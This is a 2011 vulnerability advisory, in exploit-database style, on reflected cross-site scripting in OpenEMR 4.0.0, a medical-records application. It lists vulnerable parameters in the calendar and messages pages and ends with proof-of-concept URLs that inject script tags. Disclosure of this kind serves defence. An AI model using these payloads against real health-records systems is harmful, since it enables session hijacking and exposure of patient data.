# Exploit Title: OpenEMR 4.0.0 Multiple Cross Site Scripting (XSS)
# Author: Houssam Sahli => backtronux<at>gmail<.>com

# Date : August 3rd 2011
# Product: OpenEMR 4.0.0 
# Vulnerable Version: 4.0.0(with the 2nd patch 04/15/2011)
# Developer : OEMR
# Download & Installation instructions link : http://open-emr.org/download.shtml
# Vulnerability Type: Cross Site Scripting (XSS)
# Risk level: High
# Status: Not Fixed, Vendor Not Alerted
# Remark : notice that these vulnerabilities are not fixed with the 2nd patch of 04/15/2011
# Tested On : Windows XP SP3

Summary : 
--------
OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC modular "Meaningful Use" certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms.


Vunerabilities : 
---------------
User can execute arbitrary JavaScript code within the vulnerable application, vulnerabilities are detailed below :

1 - Request: http://localhost/openemr/interface/main/calendar/index.php
    Source: Form (theform)  	
    Method: POST

Parameter Name  	Parameter Type          Severity
tplview  	        GET  	              	High
pc_category  	    GET  	             	High
pc_topic  	        GET  	              	High

2 - Request: http://localhost/openemr/interface/main/calendar/index.php
    Source: Reference of: a
    Method: GET

Parameter Name  	Parameter Type          Severity
tplview  	        GET  	              	High
pc_category  	    GET  	             	High
pc_topic  	        GET  	              	High

3 - Request: http://localhost/openemr/interface/main/messages/messages.php
    Source: Form (new_note)
    Method: POST

Parameter Name  	Parameter Type          Severity
sortby  	        GET  	              	High
sortorder   	    GET  	             	High
begin   	        GET  	              	High
noteid              POST                    High

4 - Request: http://localhost/openemr/interface/main/messages/messages.php
    Source: Reference of: a
    Method: GET

Parameter Name  	Parameter Type          Severity
sortby  	        GET  	              	High
sortorder   	    GET  	             	High


PoC :
----
   http://localhost/openemr/interface/main/calendar/index.php?tplview='<script>alert('XSS');</script>
   http://localhost/openemr/interface/main/calendar/index.php?pc_category='<script>alert('XSS');</script>
   http://localhost/openemr/interface/main/calendar/index.php?pc_topic='<script>alert('XSS');</script>
   http://localhost/openemr/interface/main/messages/messages.php?sortby="<script>alert('XSS');</script>
   http://localhost/openemr/interface/main/messages/messages.php?sortorder="<script>alert('XSS');</script>
   http://localhost/openemr/interface/main/messages/messages.php?showall=no&sortby=users%2elname&sortorder=asc&begin=724286<">